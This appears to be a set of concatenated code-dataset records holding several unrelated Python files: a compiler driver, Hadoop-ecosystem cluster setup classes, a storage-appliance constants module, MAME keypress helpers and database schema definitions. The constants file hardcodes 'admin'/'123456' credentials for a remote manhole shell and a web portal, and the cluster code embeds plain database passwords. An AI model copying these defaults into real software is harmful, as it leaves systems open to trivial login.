values.\nprint(sum)","sub_path":"PythonPrograms/python_program/cos_series_sumation.py","file_name":"cos_series_sumation.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"635195599","text":"#!/usr/bin/env python3\n\n\"\"\"The main function of the compiler, AKA the compiler driver\"\"\"\n\nimport lexer\nimport parser\nfrom support import *\nfrom datalayout import *\nfrom cfg import *\nfrom regalloc import *\nfrom codegen import *\n\n\ndef compile_program(text):\n lex = lexer.Lexer(text)\n pars = parser.Parser(lex)\n res = pars.program()\n print('\\n', res, '\\n')\n\n return\n res.navigate(print_stat_list)\n\n node_list = get_node_list(res)\n for n in node_list:\n print(type(n), id(n), '->', type(n.parent), id(n.parent))\n print('\\nTotal nodes in IR:', len(node_list), '\\n')\n\n res.navigate(lowering)\n\n node_list = get_node_list(res)\n print('\\n', res, '\\n')\n for n in node_list:\n print(type(n), id(n))\n try:\n n.flatten()\n except Exception:\n pass\n # res.navigate(flattening)\n print('\\n', res, '\\n')\n\n print_dotty(res, \"log.dot\")\n\n print(\"\\n\\nDATALAYOUT\\n\\n\")\n perform_data_layout(res)\n print('\\n', res, '\\n')\n\n cfg = CFG(res)\n cfg.liveness()\n cfg.print_liveness()\n cfg.print_cfg_to_dot(\"cfg.dot\")\n\n print(\"\\n\\nREGALLOC\\n\\n\")\n ra = LinearScanRegisterAllocator(cfg, 11)\n reg_alloc = ra()\n print(reg_alloc)\n\n print(\"\\n\\nCODEGEN\\n\\n\")\n code = generate_code(res, reg_alloc)\n print(code)\n\n return code\n\n\ndef driver_main():\n from lexer import __test_program\n test_program=__test_program\n import sys\n print(sys.argv)\n if len(sys.argv) >= 2:\n with open(sys.argv[1], 'r') as inf :\n test_program = inf.read()\n code = compile_program(test_program)\n\n if len(sys.argv) > 2:\n with open(sys.argv[-1], 'w') as outf :\n outf.write(code)\n\n\nif __name__ == '__main__':\n driver_main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"79533341","text":"from __future__ import annotations\nimport os\nfrom pathlib import Path\nimport shutil\nfrom urllib.request import urlretrieve\nimport tarfile\nfrom typing import Tuple\nfrom argparse import Namespace\nimport threading\nfrom abc import ABC\nimport re\nfrom constants import HasConstants\n\n\nclass HasComponentBaseDirectory:\n @property\n def component_base_dir(self) -> str:\n raise NotImplementedError(\"Base class not implement base_dir\")\n\n\nclass HasData:\n @property\n def data(self) -> dict:\n raise NotImplementedError(\"Base class not implement data\")\n\n\nclass FileDiscoverable:\n @staticmethod\n def discover(dir_path: str, regex_pattern: str) -> list[Path]:\n paths = []\n pattern = re.compile(regex_pattern)\n for file_or_dir in Path(dir_path).rglob(\"*\"):\n if file_or_dir.is_file() and pattern.match(str(file_or_dir.name)):\n paths.append(file_or_dir)\n return paths\n\n\nclass DestinationFigurable(HasConstants):\n def get_dest(self, src: str) -> Path:\n relative_path = src[len(self.BASE_PATH):]\n return Path(self.TARGET_BASE_PATH + relative_path)\n\n\nclass TemplateRequired(HasComponentBaseDirectory, FileDiscoverable, DestinationFigurable):\n\n @property\n def template_files(self) -> list[Path]:\n dir_to_traverse = os.path.join(self.BASE_PATH, Path(self.component_base_dir).name)\n pattern = \".*\\\\.{EXTENSION}$\".format(EXTENSION=self.TEMPLATE_EXTENSION)\n return self.discover(dir_to_traverse, pattern)\n\n def do_template(self, engine, data) -> None:\n for to_template in self.template_files:\n content = engine.render(to_template, data)\n dest = Path(os.path.splitext(self.get_dest(str(to_template)))[0])\n dest.parent.mkdir(parents=True, exist_ok=True)\n with open(str(dest), \"w\") as f:\n f.write(content)\n if str(dest.suffix) in [\".sh\", \".py\"]:\n os.chmod(dest, 0o755)\n\n\nclass FilesCopyRequired(ABC, HasComponentBaseDirectory, FileDiscoverable, DestinationFigurable):\n @property\n def files_to_copy(self) -> list[Path]:\n dir_to_traverse = os.path.join(self.BASE_PATH, Path(self.component_base_dir).name)\n pattern = \"(?!.*\\\\.{EXTENSION}$)\".format(EXTENSION=self.TEMPLATE_EXTENSION)\n return self.discover(dir_to_traverse, pattern)\n\n def copy(self) -> None:\n for to_copy in self.files_to_copy:\n dest = self.get_dest(str(to_copy))\n dest.parent.mkdir(parents=True, exist_ok=True)\n shutil.copy2(to_copy, dest)\n if str(dest.suffix) in [\".sh\", \".py\"]:\n os.chmod(dest, 0o755)\n\n\nclass DownloadRequired(HasComponentBaseDirectory, HasConstants):\n def __init__(self, force_download: bool):\n self.force_download = force_download\n\n def download_async(self) -> list[threading.Thread]:\n Path(self.component_base_dir).mkdir(parents=True, exist_ok=True)\n links = self.links_to_download\n awaitables = []\n for i in range(0, len(links)):\n link, output_file = links[i]\n download_func = self._download\n if not self.force_download and Path(output_file).exists():\n download_func = self._dummy_download\n\n awaitables.append(threading.Thread(target=download_func,\n args=(link, output_file)))\n return awaitables\n\n @staticmethod\n def _dummy_download(url: str, output_file: Path) -> None:\n print(\"Download from {URL} is ignored as {PATH} already exists\".format(URL=url, PATH=str(output_file)))\n return\n\n @staticmethod\n def _download(url: str, output_file: Path) -> None:\n print(\"Downloading from {SOURCE} to {DESTINATION}\".format(SOURCE=url, DESTINATION=output_file))\n urlretrieve(url, filename=output_file)\n\n @property\n def links_to_download(self) -> list[Tuple[str, Path]]:\n raise NotImplementedError(\"Base class not implement links_to_download\")\n\n\nclass DecompressRequired:\n def decompress_async(self) -> list[threading.Thread]:\n awaitables = []\n for compressed, dest in self.files_to_decompress:\n decompress_func = self._decompress\n if dest.exists():\n decompress_func = self._dummy_decompress\n\n awaitables.append(threading.Thread(target=decompress_func, args=(compressed, dest)))\n return awaitables\n\n @staticmethod\n def _dummy_decompress(compressed: Path, dest_path: Path) -> None:\n print(\"Decompressing {COMPRESSED} is ignored as {PATH} already exists\".format(\n COMPRESSED=str(compressed), PATH=str(dest_path)))\n return\n\n @staticmethod\n def _decompress(compressed: Path, dest_path: Path) -> None:\n dest_path.mkdir(parents=True, exist_ok=True)\n with tarfile.open(Path(compressed)) as f:\n f.extractall(dest_path)\n\n @property\n def files_to_decompress(self) -> list[Tuple[Path, Path]]:\n raise NotImplementedError(\"Base class not implement decompress\")\n\n\nclass Component(ABC):\n pass\n\n\nclass Scripts(Component, TemplateRequired):\n @property\n def component_base_dir(self) -> str:\n return os.path.join(self.TARGET_BASE_PATH, \"bin\")\n\n @property\n def data(self) -> dict:\n return {}\n\n\nclass ClusterStarter(Component, FilesCopyRequired, TemplateRequired, HasData, HasConstants):\n\n @property\n def component_base_dir(self) -> str:\n return os.path.join(self.TARGET_BASE_PATH, \"cluster-starter\")\n\n @property\n def data(self) -> dict:\n return {\n \"additional\": {\n \"image\": {\n \"cluster-starter\": self.CLUSTER_STARTER_IMAGE_NAME\n }\n }\n }\n\n\nclass Hue(Component, FilesCopyRequired, TemplateRequired, HasData):\n @property\n def component_base_dir(self) -> str:\n return os.path.join(self.TARGET_BASE_PATH, \"hue\")\n\n @property\n def data(self) -> dict:\n return {\n \"hue\": {\n \"db-user\": \"hue\", \"db-password\": \"hue\", \"db-name\": \"hue\", \"db-host\": \"cluster-db\", \"db-port\": \"5432\"\n }\n }\n\n\nclass Hadoop(Component, FilesCopyRequired, TemplateRequired, DownloadRequired, DecompressRequired, HasData, HasConstants):\n TAR_FILE_NAME = \"hadoop.tar.gz\"\n PREDEF_GROUPS = {\n \"admin\": 150, \"hadoop\": 151, \"hadoopsvc\": 152, \"usersvc\": 154, \"dataplatform_user\": 155, \"hadoopUser\":156,\n \"bi_user_group\": 157, \"ml_user_group\": 158, \"de_user_group\": 159\n }\n\n PREDEF_USERS = {\n \"hdfs\": {\"uid\": 180, \"groups\": [\"admin\"], \"isSvc\": True, \"proxyGroup\": \"*\"},\n \"webhdfs\": {\"uid\": 181, \"groups\": [\"admin\"], \"isSvc\": True, \"proxyGroup\": \"*\"},\n \"hive\": {\"uid\": 182, \"groups\": [\"hadoopsvc\", \"hadoopUser\"], \"isSvc\": True, \"proxyGroup\": \"hadoopUser\"},\n \"hue\": {\"uid\": 183, \"groups\": [\"hadoopsvc\", \"hadoopUser\"], \"isSvc\": True, \"proxyGroup\": \"hadoopUser\"},\n \"spark\": {\"uid\": 184, \"groups\": [\"hadoopsvc\", \"hadoopUser\"], \"isSvc\": True, \"proxyGroup\": \"hadoopUser\"},\n \"bi_user\": {\"uid\": 185, \"groups\": [\"dataplatform_user\", \"hadoopUser\", \"bi_user_group\"], \"isSvc\": False},\n \"bi_svc\": {\"uid\": 186, \"groups\": [\"usersvc\", \"hadoopUser\"], \"isSvc\": True, \"proxyGroup\": \"bi_user_group\"},\n \"ml_user\": {\"uid\": 187, \"groups\": [\"dataplatform_user\", \"hadoopUser\", \"ml_user_group\"], \"isSvc\": False},\n \"ml_svc\": {\"uid\": 188, \"groups\": [\"usersvc\", \"hadoopUser\"], \"isSvc\": True, \"proxyGroup\": \"ml_user_group\"},\n \"de_user\": {\"uid\": 189, \"groups\": [\"dataplatform_user\", \"hadoopUser\", \"de_user_group\"], \"isSvc\": False},\n \"de_svc\": {\"uid\": 190, \"groups\": [\"usersvc\", \"hadoopUser\"], \"isSvc\": True, \"proxyGroup\": \"de_user_group\"}\n }\n\n def __init__(self, args: Namespace):\n DownloadRequired.__init__(self, force_download=args.force_download_hadoop)\n self.hadoop_version = args.hadoop_version\n self.java_version = args.java_version\n self.num_datanode = args.num_datanode\n\n @property\n def component_base_dir(self) -> str:\n return os.path.join(self.TARGET_BASE_PATH, \"hadoop\")\n\n @property\n def links_to_download(self) -> list[Tuple[str, Path]]:\n return [\n (\"https://github.com/dev-moonduck/hadoop/releases/download/v{HADOOP_VERSION}/hadoop-{HADOOP_VERSION}.tar.gz\"\n .format(HADOOP_VERSION=self.hadoop_version),\n Path(os.path.join(self.component_base_dir, self.TAR_FILE_NAME)))\n ]\n\n @property\n def files_to_decompress(self) -> list[Tuple[Path, Path]]:\n return [\n (Path(os.path.join(self.component_base_dir, self.TAR_FILE_NAME)),\n Path(os.path.join(self.component_base_dir, \"hadoop-bin\")))\n ]\n\n @property\n def data(self) -> dict:\n return {\n \"primary_namenode\": {\n \"host\": \"primary-namenode\", \"rpc-port\": \"9000\", \"http-port\": \"9870\"\n },\n \"secondary_namenode\": {\n \"host\": \"secondary-namenode\", \"rpc-port\": \"9000\", \"http-port\": \"9870\"\n },\n \"journalnode\": {\"host\": [\"journalnode1\", \"journalnode2\", \"journalnode3\"], \"port\": \"8485\"},\n \"zookeeper\": {\"host\": [\"zookeeper1\", \"zookeeper2\", \"zookeeper3\"], \"port\": \"2181\"},\n \"yarn_history\": {\"host\": \"yarn-history\", \"port\": \"8188\"},\n \"resource_manager\": {\n \"host\": \"resource-manager\", \"port\": \"8032\", \"web-port\": \"8088\", \"resource-tracker-port\": \"8031\",\n \"scheduler-port\": \"8030\"\n },\n \"datanode\": {\n \"host\": list(map(lambda i: \"datanode\" + str(i), range(1, self.num_datanode + 1))),\n \"rpc-port\": \"9864\", \"nodemanager-port\": \"8042\"\n },\n \"additional\": {\n \"users\": self.PREDEF_USERS, \"groups\": self.PREDEF_GROUPS,\n \"dependency-versions\": {\n \"hadoop\": self.hadoop_version, \"java\": self.java_version\n },\n \"agent\": {\n \"port\": \"3333\"\n },\n \"image\": {\n \"hadoop\": self.HADOOP_IMAGE_NAME\n }\n }\n }\n\n\nclass Hive(Component, FilesCopyRequired, TemplateRequired, DownloadRequired, DecompressRequired, HasData):\n TAR_FILE_NAME = \"hive.tar.gz\"\n\n def __init__(self, args: Namespace):\n DownloadRequired.__init__(self, force_download=args.force_download_hive)\n self.hive_version = args.hive_version\n\n @property\n def component_base_dir(self) -> str:\n return os.path.join(self.TARGET_BASE_PATH, \"hive\")\n\n @property\n def links_to_download(self) -> list[Tuple[str, Path]]:\n return [\n ((\"https://github.com/dev-moonduck/hive/releases/download/v{HIVE_VERSION}\"\n + \"/apache-hive-{HIVE_VERSION}.tar.gz\").format(HIVE_VERSION=self.hive_version),\n Path(os.path.join(self.component_base_dir, self.TAR_FILE_NAME)))\n ]\n\n @property\n def files_to_decompress(self) -> list[Tuple[Path, Path]]:\n return [\n (Path(os.path.join(self.component_base_dir, self.TAR_FILE_NAME)),\n Path(os.path.join(self.component_base_dir, \"hive-bin\")))\n ]\n\n @property\n def data(self) -> dict:\n return {\n \"hive_server\": {\"host\": \"hive-server\", \"thrift-port\": \"10000\", \"http-port\": \"10001\"},\n \"hive_metastore\": {\"host\": \"hive-metastore\", \"thrift-port\": \"9083\", \"metastore-db-host\": \"cluster-db\",\n \"metastore-db-port\": \"5432\", \"metastore-db-name\": \"metastore\",\n \"metastore-db-user\": \"hive\", \"metastore-db-password\": \"hive\"},\n \"additional\": {\n \"dependency-versions\": {\n \"hive\": self.hive_version\n }\n }\n }\n\n\nclass Spark(Component, FilesCopyRequired, TemplateRequired, DownloadRequired, DecompressRequired, HasData):\n TAR_FILE_NAME = \"spark.tar.gz\"\n\n def __init__(self, args: Namespace):\n DownloadRequired.__init__(self, force_download=args.force_download_spark)\n self.spark_version = args.spark_version\n self.scala_version = args.scala_version\n self.hadoop_version = args.hadoop_version\n\n @property\n def component_base_dir(self) -> str:\n return os.path.join(self.TARGET_BASE_PATH, \"spark\")\n\n @property\n def links_to_download(self) -> list[Tuple[str, Path]]:\n return [(\n (\"https://github.com/dev-moonduck/spark/releases/download/v{SPARK_VERSION}-{SCALA_VERSION}-{HADOOP_VERSION}\"\n + \"/spark-{SPARK_VERSION}-{SCALA_VERSION}-{HADOOP_VERSION}.tar.gz\").format(\n SPARK_VERSION=self.spark_version, SCALA_VERSION=self.scala_version, HADOOP_VERSION=self.hadoop_version),\n Path(os.path.join(self.component_base_dir, self.TAR_FILE_NAME)))\n ]\n\n @property\n def files_to_decompress(self) -> list[Tuple[Path, Path]]:\n return [\n (Path(os.path.join(self.component_base_dir, self.TAR_FILE_NAME)),\n Path(os.path.join(self.component_base_dir, \"spark-bin\")))\n ]\n\n @property\n def data(self) -> dict:\n return {}\n\n\nclass SparkHistory(Component, TemplateRequired, FilesCopyRequired, HasData):\n @property\n def component_base_dir(self) -> str:\n return os.path.join(self.TARGET_BASE_PATH, \"spark-history\")\n\n @property\n def data(self) -> dict:\n return {\n \"spark_history\": {\"host\": \"spark-history\", \"port\": \"18080\"}\n }\n\n\nclass SparkThrift(Component, TemplateRequired, FilesCopyRequired, HasData):\n @property\n def component_base_dir(self) -> str:\n return os.path.join(self.TARGET_BASE_PATH, \"spark-thrift\")\n\n @property\n def data(self) -> dict:\n return {\n \"spark_thrift\": {\"host\": \"spark-thrift\", \"thrift-port\": \"10010\", \"http-port\": \"10011\"}\n }\n\n\nclass Presto(Component, FilesCopyRequired, TemplateRequired, DownloadRequired, DecompressRequired, HasData):\n TAR_FILE_NAME = \"presto.tar.gz\"\n\n def __init__(self, args: Namespace):\n DownloadRequired.__init__(self, force_download=args.force_download_presto)\n self.presto_version = args.presto_version\n self.num_worker = args.num_presto_worker\n\n @property\n def component_base_dir(self) -> str:\n return os.path.join(self.TARGET_BASE_PATH, \"presto\")\n\n @property\n def links_to_download(self) -> list[Tuple[str, Path]]:\n return [\n ((\"https://github.com/dev-moonduck/presto/releases/download/v{PRESTO_VERSION}\"\n + \"/presto-server-{PRESTO_VERSION}.tar.gz\").format(PRESTO_VERSION=self.presto_version),\n Path(os.path.join(self.component_base_dir, self.TAR_FILE_NAME)))\n ]\n\n @property\n def files_to_decompress(self) -> list[Tuple[Path, Path]]:\n return [\n (Path(os.path.join(self.component_base_dir, self.TAR_FILE_NAME)),\n Path(os.path.join(self.component_base_dir, \"presto-bin\")))\n ]\n\n @property\n def data(self) -> dict:\n return {\n \"presto_server\": {\"host\": \"presto-server\", \"port\": \"8081\"}\n }\n\n\nclass ComponentFactory:\n @staticmethod\n def get_components(args: Namespace) -> list[Component]:\n components = [Scripts(), ClusterStarter(), Hadoop(args)]\n if args.hive or args.all:\n components.append(Hive(args))\n if args.spark_thrift or args.spark_history or args.all:\n components.append(Spark(args))\n if args.spark_history or args.all:\n components.append(SparkHistory())\n if args.spark_thrift or args.all:\n components.append(SparkThrift())\n if args.presto or args.all:\n components.append(Presto(args))\n if args.hue or args.all:\n components.append(Hue())\n return components\n","sub_path":"component.py","file_name":"component.py","file_ext":"py","file_size_in_byte":15890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"183753282","text":"#! /usr/bin/env python3\n\nimport sys\n\nresistor_colours = [\"black\" ,\"brown\", \"red\", \"orange\", \"yellow\", \"green\", \"blue\" ,\"violet\", \"grey\", \"gold\", \"silver\"]\n\nfirst_band = sys.argv[1]\nsecond_band = sys.argv[2]\nthird_band = sys.argv[3]\ntolerance = sys.argv[4]\nif len(sys.argv) == 1:\n for colour in range(0, 11):\n print(resistor_colours[colour])\nelif len(sys.argv) == 6:\n print (\"yo!\")\nelse:\n print(\"enter entire value\")\n","sub_path":"exercises/04-resistor-value-calculator.py","file_name":"04-resistor-value-calculator.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"544148228","text":"# vim: tabstop=4 shiftwidth=4 softtabstop=4\n#\n# Copyright 2013 Mellanox Technologies, Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\n# VSA Constants\n\nERR_TWISTED = 3\nERR_HA_SLAVE = 11\nERR_HA_TRANSITION = 12\nERR_COMPUTE_NODE = 13\nERR_LOADPVD = 15\nERR_LOADPVD_LO = 17\n\n# Data refresh period in seconds, 0 means no periodic refresh\nREFRESH_PERIOD = 60\n\n# Communication ports\nSANSRV_XMLRPC_PORT = 7080\nVSAD_XMLRPC_PORT = 7081\nMANHOLE_PORT = 7082\n\n# Timeout for vsad rpc connections\nVSAD_RPC_TIMEOUT = 30\n\nMANHOLE_CREDENTIALS = { 'admin': '123456' }\nWEBPORTAL_CREDENTIALS = { 'admin': '123456' }\n\nparamopts=['vendor_id','product_id','product_rev','scsi_id','scsi_sn','removable','mode_page','sense_format','online','path','direct']\niSCSIOpts=['MaxRecvDataSegmentLength','MaxXmitDataSegmentLength','DataDigest','HeaderDigest'\n,'InitialR2T','MaxOutstandingR2T','ImmediateData','FirstBurstLength','MaxBurstLength',\n'DataPDUInOrder','DataSequenceInOrder','ErrorRecoveryLevel','IFMarker','OFMarker','DefaultTime2Wait',\n'DefaultTime2Retain','OFMarkInt','IFMarkInt','MaxConnections','RDMAExtensions','TargetRecvDataSegmentLength'\n,'InitiatorRecvDataSegmentLength','MaxOutstandingUnexpectedPDUs']\n\nshowlist=['system','config','log','version','cache','fctree']\n\n# Enums\nfrom enum import Enum\nTransport = Enum('iser', 'iscsi')\nOsType = Enum('unknown', 'linux', 'windows', 'vmware', 'other')\nObjState = Enum('unknown', 'created', 'running', 'blocked', 'error', 'absent', 'down',\n 'offline', 'degraded', 'delete', 'slaved', 'other')\n\ndef IsRunning(obj):\n \"\"\"\n The description of IsRunning comes here.\n @param obj\n @return\n \"\"\"\n return (obj.state==ObjState.running or obj.state==ObjState.degraded)\n\nReqState=Enum('enabled','disabled','error')\nClusterState=Enum('master','standby','slave','none','disabled','local','transition','standalone','compute')\nRaidLevel=Enum('none','0','1','5','6','10','dr','linear')\nCachePolicy=Enum('fifo','lru')\nIoSchedType=Enum('default','noop','cfq','deadline','anticipatory')\nQualityType=Enum('unknown','slow','average','fast','fastest')\nAlarmType=Enum('add', 'delete', 'state_change', 'error')\n\n\n# Flash Cache\nCACHEVGN = 'cache.vg' # name of the cache volume group\nCACHESEP = '._.' # replace the ':' char\nCACHEPFX = 'vcache.' # VSA flashcache prefix\nCACHECMDS = 'zero_stats','do_sync','stop_sync','reclaim_policy','write_merge','dirty_thresh_pct','fast_remove','fallow_delay'\n\n# constants for disk stats\nRDIO=0\nRDSEC=1\nRDWAIT=2\nRDMRG=3\nWRIO=4\nWRSEC=5\nWRWAIT=6\nWRMRG=7\n\n# log menu options\nlogopt=['agent','audit','event','tgt','webportal']\n\n# error return codes\nILLEGAL_EXT_NAME = 2\nEXT_IS_LOCKED = 3\nEXT_NOT_FOUND = 4\nEXT_NOT_RUNNING = 5\nEXT_IS_PRIVATE = 6\nEXT_NOT_ENABLED = 7\n\n# SNMP\nSNMP_TRAP_PORT = 162\nSNMP_TRAP_COMMUNITY = 'public'\n","sub_path":"src/vsa/infra/params.py","file_name":"params.py","file_ext":"py","file_size_in_byte":3291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"334223867","text":"\"\"\"A module for keyboard presses emulation.\n\nAs MAME does not always register single presses with pyautogui certain functions perform multiple presses to\ncircumvent that.\n\nWARNING: MAME does not accept keyboard emulators on Windows as of more recent versions (MacOS works,\nLinux not tested). To fix that, a custom version of MAME with DIRECT_INPUT enabled must be used.\n\"\"\"\n\nimport pyautogui\n\n\ndef move_car_in_direction(direction):\n for key in possible_keys_for_move:\n if keys_for_direction[direction] and key in keys_for_direction[direction]:\n pyautogui.keyDown(key)\n else:\n pyautogui.keyUp(key)\n\n\ndef exit_game():\n pyautogui.press(\"esc\", interval=0.1)\n pyautogui.press(\"esc\", interval=0.1)\n\n\ndef restart_game():\n pyautogui.press(\"f3\", interval=0.1)\n pyautogui.press(\"f3\", interval=0.1)\n\n\ndef insert_coin():\n pyautogui.press(\"5\", interval=0.1)\n pyautogui.press(\"5\", interval=0.1)\n pyautogui.press(\"5\", interval=0.1)\n\n\nkeys_for_direction = {\n 'L': ['left'],\n 'R': ['right'],\n 'F': ['up'],\n 'FR': ['up', 'right'],\n 'FL': ['up', 'left'],\n 'S': None\n}\n\npossible_keys_for_move = ['up', 'left', 'right']\n","sub_path":"src/gamecontrols.py","file_name":"gamecontrols.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"98082588","text":"def fields_template():\n\n alldefs = dict()\n dblink = 'integer'\n\n #alldefs[\"TblAdmins\"] = dict(\n #IIDD='string',\n #Name='string',\n #Password='string',\n #)\n\n alldefs[\"TblDefaults\"] = dict(\n IIDD='integer',\n AdminMaxResultsInPage='integer',\n UserMaxResultsInPage='integer',\n PhotosInMember='integer',\n PhotosInEvent='integer',\n NormalPhotoWidth='integer',\n ThumbnailPhotoWidth='integer',\n AdminThumbnailPhotoHeight='integer',\n UserMaxRandomEventsInMainPage='integer',\n PageHitsCountingStatus='integer',\n CommentsEmailName='string',\n CommentsEmailAddress='string',\n IdentifyEmailName='string',\n IdentifyEmailAddress='string',\n MailHost='string',\n MailPort='integer',\n MailFromAddress='string',\n MailFromName='string',\n UserMaxPhotosInUnidentifiedPage='integer',\n AdminHrefInitialAddress='string',\n )\n\n #alldefs[\"TblDocuments\"] = dict(\n #IIDD='string',\n #ArchiveNum='string',\n #DocumentDate='string',\n #Description='string',\n #LocationInDisk='string',\n #StatusID='string',\n #)\n\n #alldefs[\"TblEventDocuments\"] = dict(\n #EventID='string',\n #DocumentID='string',\n #EventDocumentRank='string',\n #)\n\n alldefs[\"TblEventMembers\"] = dict(\n EventID=dblink,\n MemberID=dblink,\n EventMemberRank='integer',\n )\n\n alldefs[\"TblEventPhotos\"] = dict(\n EventID=dblink,\n PhotoID=dblink,\n EventPhotoRank='integer',\n )\n\n alldefs[\"TblEventTypes\"] = dict(\n IIDD=dblink,\n Name='string',\n Description='string',\n ImageName='string',\n )\n\n alldefs[\"TblEvents\"] = dict(\n IIDD=dblink,\n Name='string',\n SSource='string',\n EventDate='string', #may be missing, just year, years range or true date\n Place='string',\n Description='string',\n KeyWords='string',\n EventRank='integer',\n TypeID=dblink, #db.TblEventTypes\n ObjectID=dblink, #db.TblObjects\n StatusID=dblink, #db.TblStatuses\n PageHits='integer',\n DescriptionNoHtml='string',\n )\n\n alldefs[\"TblFamilyConnectionTypes\"] = dict(\n IIDD=dblink,\n Description='string',\n )\n\n #alldefs[\"TblHrefCategories\"] = dict(\n #IIDD='string',\n #Name='string',\n #CategoryRank='string',\n #)\n\n #alldefs[\"TblHrefCategoryCategories\"] = dict(\n #ChildCategoryID='string',\n #ParentCategoryID='string',\n #ChildHierarchyLevel='string',\n #)\n\n alldefs[\"TblHrefCategoryHrefs\"] = dict(\n HrefID=dblink, #db.Tbl???\n CategoryID='string',\n )\n\n alldefs[\"TblHrefTypes\"] = dict(\n IIDD=dblink,\n Name='string',\n )\n\n #alldefs[\"TblHrefs\"] = dict(\n #IIDD='string',\n #Name='string',\n #Description='string',\n #Href='string',\n #HrefTypeID='string',\n #HrefRank='string',\n #DescriptionNoHtml='string',\n #)\n\n #alldefs[\"TblJokes\"] = dict(\n #IIDD='string',\n #Description='string',\n #)\n\n alldefs[\"TblMemberConnections\"] = dict(\n IIDD=dblink,\n MemberID=dblink, #db.TblMdembers\n ConnectToMemberID=dblink, #db.TblMdembers\n ConnectionTypeID=dblink, #db.TblFamilyConnectionTypes\n Name='string',\n DateOfBirth='string', #redundant\n PlaceOfBirth='string',\n Professions='string',\n )\n\n #alldefs[\"TblMemberDocuments\"] = dict(\n #MemberID='string',\n #DocumentID='string',\n #MemberDocumentRank='string',\n #)\n\n alldefs[\"TblMemberPhotos\"] = dict(\n MemberID=dblink, #db.TblMembers\n PhotoID=dblink, #db.TblMembers\n MemberPhotoRank='integer',\n )\n\n alldefs[\"TblMembers\"] = dict(\n IIDD=dblink,\n Name='string',\n FormerName='string',\n DateOfBirth='string', #may be missing, year or range...\n PlaceOfBirth='string',\n DateOfAlia='string', #missing or year\n DateOfMember='string', #missing or year\n Education='string', #drop it\n Institute='string', #drop it\n Professions='string', #drop it\n LifeStory='text',\n KeyWords='string',\n ObjectID=dblink, #db.TblObjects. probably reduntdant\n NickName='string',\n StatusID=dblink, #db.TblStatuses\n PageHits='integer',\n LifeStoryNoHtml='text',\n )\n\n alldefs[\"TblObjects\"] = dict(\n IIDD=dblink,\n Description='string',\n Priority='integer',\n HebrewDescription='string',\n )\n\n alldefs[\"TblPhotos\"] = dict(\n IIDD=dblink,\n ArchiveNum='string',\n PhotoDate='string', #range, year, etc.\n Name='string',\n Description='string',\n Photographer='string',\n KeyWords='string',\n LocationInDisk='string',\n PhotoRank='integer',\n ObjectID=dblink, #db.TblObjects\n Recognized='boolean',\n StatusID=dblink, #db.TblStatuses\n PageHits='integer',\n DescriptionNoHtml='string',\n )\n\n alldefs[\"TblStatuses\"] = dict(\n IIDD=dblink,\n Name='string',\n )\n\n alldefs[\"TblSuperAdmins\"] = dict(\n IIDD=dblink,\n Name='string',\n Password='string',\n )\n\n #alldefs[\"TblSuperAdminsNickNames\"] = dict(\n #IIDD='string',\n #NickName='string',\n #)\n\n alldefs[\"TblTerms\"] = dict(\n IIDD=dblink,\n Name='string',\n TermTranslation='string',\n Background='string',\n InventedBy='string',\n InventedByMemberID=dblink, #db.TblMembers\n ObjectID=dblink, #db.TblObjects\n StatusID=dblink, #db.TblStatuses\n PageHits='integer',\n BackgroundNoHtml='string',\n )\n\n #alldefs[\"vw_displayableMembers\"] = dict(\n #IIDD='string',\n #Name='string',\n #)\n\n #alldefs[\"vw_displayablePhotoIDs\"] = dict(\n #PhotoID='string',\n #)\n\n #alldefs[\"vw_siteEventPhotosGroupedAndOrd\"] = dict(\n #EventID='string',\n #FixedRandomValue='string',\n #)\n\n #alldefs[\"vw_siteEventPhotosHighestRanke1\"] = dict(\n #EventID='string',\n #PhotoPath='string',\n #)\n\n #alldefs[\"vw_siteEventPhotosHighestRanked\"] = dict(\n #EventID='string',\n #PhotoID='string',\n #)\n\n #alldefs[\"vw_siteEventPhotosOrderedByRan1\"] = dict(\n #EventID='string',\n #FixedRandomValue='string',\n #EventPhotoRank='string',\n #)\n\n #alldefs[\"vw_siteEventPhotosOrderedByRank\"] = dict(\n #EventID='string',\n #PhotoID='string',\n #EventPhotoRank='string',\n #RandomValue='string',\n #)\n\n #alldefs[\"vw_siteMemberPhotosGroupedAndOr\"] = dict(\n #MemberID='string',\n #FixedRandomValue='string',\n #)\n\n #alldefs[\"vw_siteMemberPhotosHighestRank1\"] = dict(\n #MemberID='string',\n #PhotoPath='string',\n #)\n\n #alldefs[\"vw_siteMemberPhotosHighestRanke\"] = dict(\n #MemberID='string',\n #PhotoID='string',\n #)\n\n #alldefs[\"vw_siteMemberPhotosOrderedByRa1\"] = dict(\n #MemberID='string',\n #FixedRandomValue='string',\n #MemberPhotoRank='string',\n #)\n\n #alldefs[\"vw_siteMemberPhotosOrderedByRan\"] = dict(\n #MemberID='string',\n #PhotoID='string',\n #MemberPhotoRank='string',\n #RandomValue='string',\n #)\n\n return alldefs\n\ndef create_db_defs():\n out_name = '/home/haim/fossil_projects/gbs/private/db_defs.py'\n alldefs = fields_template()\n with open(out_name, 'w') as out:\n for tbl in sorted(alldefs):\n out.write(\"db.define_table('{}',\\n\".format(tbl))\n fields = alldefs[tbl]\n for field in sorted(fields):\n out.write(\" Field('{}', type='{}'),\\n\".format(field, fields[field]))\n out.write(')\\n\\n')\n \nif __name__ == '__main__':\n create_db_defs() 